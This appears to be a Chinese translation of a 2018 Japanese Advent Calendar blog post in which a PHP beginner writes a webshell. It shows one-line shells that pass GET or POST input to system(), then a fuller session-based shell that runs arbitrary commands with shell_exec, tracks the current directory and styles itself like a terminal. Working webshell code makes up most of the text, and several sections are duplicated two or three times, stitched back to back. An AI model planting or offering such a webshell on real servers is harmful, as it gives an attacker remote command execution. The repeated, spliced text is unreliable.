用PHP编写webshell
现在是2018年IT圣诞节日历的第21天。
我打算编写一个可以执行命令的PHP程序。
将这个程序放在可以被别人访问的服务器上是危险的。在执行时请小心。
环境
操作系统:Windows10
XAMPP版本:7.2.7
PHP版本:7.2.7
Apache版本:2.4.33
首先创建一个能够执行命令的东西。
获取
<pre><?php system($_GET["cmd"]);?></pre>
<pre><?php system($_GET["cmd"]);?></pre>
通过system($_GET[“cmd”])执行并显示从GET请求中接收的命令。将参数附加到URL中,发送命令。
发送date命令
邮寄
<pre><?php system($_POST["cmd"]);?></pre>
<form method="POST"><input autofocus type="text" name="cmd"></form>
添加一个文本框,并通过POST方式发送命令。
执行time命令
增加功能
由于目前状态有点困难理解,所以我尝试实现了能够显示当前目录和命令历史记录的功能。
<?php
session_start();
$rpath1 = [" ./", " .\\"];
$rpath2 = [" ../", " ..\\"];
if ($_POST["cmd"]) {
$cmd= $_POST["cmd"];
//相対パスの置き換え
$cmd = str_replace ($rpath1, " ".trim($_SESSION["path"])."\\", $cmd);
$cmd = str_replace ($rpath2, " ".trim($_SESSION["path"])."\\..\\", $cmd);
$cmd = str_replace (":\\\\", ":\\", $cmd);
if ($_POST["cmd"] === "session_reset") {
//session_resetと入力することでリセットする
$_SESSION = [];
} elseif (preg_match("/^cd\s/i", $_POST["cmd"])) {
// cd コマンドでカレントディレクトリを更新
$_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br>";
$_SESSION["path"] = shell_exec($cmd." & @cd");
} else {
$_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br><pre>".htmlspecialchars(mb_convert_encoding(shell_exec($cmd), "UTF-8"), ENT_QUOTES, "UTF-8", true)."</pre>";
}
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>WebShell</title>
</head>
<body>
<?php
if (empty($_SESSION["history"])) $_SESSION["history"] = "";
if (empty($_SESSION["path"])) $_SESSION["path"] = shell_exec("@cd");
echo $_SESSION["history"];
echo $_SESSION["path"]
?>
<form method="POST">
><input autofocus type="text" name="cmd">
</form>
</body>
</html>
使用会话,保存执行的命令和当前目录。
添加CSS
既然这样,我也会改变外观。
我会在
标签下添加以下内容。
<style>
*{
color: #00ff00;
font-size: 15px;
font-family: Hack, monospace;
}
body{
background-color: #000000;
}
input{
border: 0px;
background-color: transparent;
}
</style>
最後
我在开头已经提到,由于将此程序放置在他人可以访问的服务器上可能存在危险,因此在执行时请务必小心。
虽然我是PHP的新手,无法很好地实现它,但至少能添加了最基本的功能,这是很好的。
以上是《Make IT Advent Calendar 2018》第21天的文章。

邮寄
<pre><?php system($_POST["cmd"]);?></pre>
<form method="POST"><input autofocus type="text" name="cmd"></form>
<pre><?php system($_POST["cmd"]);?></pre>
<form method="POST"><input autofocus type="text" name="cmd"></form>
添加一个文本框,并通过POST方式发送命令。
执行time命令
增加功能
由于目前状态有点困难理解,所以我尝试实现了能够显示当前目录和命令历史记录的功能。
<?php
session_start();
$rpath1 = [" ./", " .\\"];
$rpath2 = [" ../", " ..\\"];
if ($_POST["cmd"]) {
$cmd= $_POST["cmd"];
//相対パスの置き換え
$cmd = str_replace ($rpath1, " ".trim($_SESSION["path"])."\\", $cmd);
$cmd = str_replace ($rpath2, " ".trim($_SESSION["path"])."\\..\\", $cmd);
$cmd = str_replace (":\\\\", ":\\", $cmd);
if ($_POST["cmd"] === "session_reset") {
//session_resetと入力することでリセットする
$_SESSION = [];
} elseif (preg_match("/^cd\s/i", $_POST["cmd"])) {
// cd コマンドでカレントディレクトリを更新
$_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br>";
$_SESSION["path"] = shell_exec($cmd." & @cd");
} else {
$_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br><pre>".htmlspecialchars(mb_convert_encoding(shell_exec($cmd), "UTF-8"), ENT_QUOTES, "UTF-8", true)."</pre>";
}
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>WebShell</title>
</head>
<body>
<?php
if (empty($_SESSION["history"])) $_SESSION["history"] = "";
if (empty($_SESSION["path"])) $_SESSION["path"] = shell_exec("@cd");
echo $_SESSION["history"];
echo $_SESSION["path"]
?>
<form method="POST">
><input autofocus type="text" name="cmd">
</form>
</body>
</html>
使用会话,保存执行的命令和当前目录。
添加CSS
既然这样,我也会改变外观。
我会在
标签下添加以下内容。
<style>
*{
color: #00ff00;
font-size: 15px;
font-family: Hack, monospace;
}
body{
background-color: #000000;
}
input{
border: 0px;
background-color: transparent;
}
</style>
最後
我在开头已经提到,由于将此程序放置在他人可以访问的服务器上可能存在危险,因此在执行时请务必小心。
虽然我是PHP的新手,无法很好地实现它,但至少能添加了最基本的功能,这是很好的。
以上是《Make IT Advent Calendar 2018》第21天的文章。

增加功能
由于目前状态有点困难理解,所以我尝试实现了能够显示当前目录和命令历史记录的功能。
<?php
session_start();
$rpath1 = [" ./", " .\\"];
$rpath2 = [" ../", " ..\\"];
if ($_POST["cmd"]) {
$cmd= $_POST["cmd"];
//相対パスの置き換え
$cmd = str_replace ($rpath1, " ".trim($_SESSION["path"])."\\", $cmd);
$cmd = str_replace ($rpath2, " ".trim($_SESSION["path"])."\\..\\", $cmd);
$cmd = str_replace (":\\\\", ":\\", $cmd);
if ($_POST["cmd"] === "session_reset") {
//session_resetと入力することでリセットする
$_SESSION = [];
} elseif (preg_match("/^cd\s/i", $_POST["cmd"])) {
// cd コマンドでカレントディレクトリを更新
$_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br>";
$_SESSION["path"] = shell_exec($cmd." & @cd");
} else {
$_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br><pre>".htmlspecialchars(mb_convert_encoding(shell_exec($cmd), "UTF-8"), ENT_QUOTES, "UTF-8", true)."</pre>";
}
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>WebShell</title>
</head>
<body>
<?php
if (empty($_SESSION["history"])) $_SESSION["history"] = "";
if (empty($_SESSION["path"])) $_SESSION["path"] = shell_exec("@cd");
echo $_SESSION["history"];
echo $_SESSION["path"]
?>
<form method="POST">
><input autofocus type="text" name="cmd">
</form>
</body>
</html>
使用会话,保存执行的命令和当前目录。

添加CSS
既然这样,我也会改变外观。
我会在
<style>
*{
color: #00ff00;
font-size: 15px;
font-family: Hack, monospace;
}
body{
background-color: #000000;
}
input{
border: 0px;
background-color: transparent;
}
</style>

最後
我在开头已经提到,由于将此程序放置在他人可以访问的服务器上可能存在危险,因此在执行时请务必小心。
虽然我是PHP的新手,无法很好地实现它,但至少能添加了最基本的功能,这是很好的。
以上是《Make IT Advent Calendar 2018》第21天的文章。